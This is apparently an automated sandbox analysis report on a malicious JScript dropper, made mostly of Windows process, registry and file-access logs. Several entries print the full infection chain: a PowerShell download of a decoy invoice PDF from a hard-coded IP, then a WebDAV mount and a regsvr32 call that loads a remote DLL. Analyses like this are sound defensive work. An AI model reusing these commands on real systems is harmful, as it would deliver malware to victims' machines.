Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6081.js.csv");ITextStream.WriteLine(" entry:8035 f:pjggdjfe");ITextStream.WriteLine(" exec:2 f:pjggdjfe");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4089			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5603			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3936	Thread sleep count: 4089 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5580	Thread sleep count: 5603 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5624	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5884	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5908	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4440	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5560	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3652	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\System32\AppxSip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\System32\en-GB\CRYPT32.dll.mui	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics\	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SYSTEM32\OpcServices.DLL	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics\ce1e4670373608336100bea63bbc8990\System.Numerics.ni.dll	Jump to behavior

Source: net.exe, 00000007.00000002.2128701860.0000018FE6B18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000003.2121891312.0000018FE6B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3363478393.000001A4BEA58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3362448517.000001A4B942B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
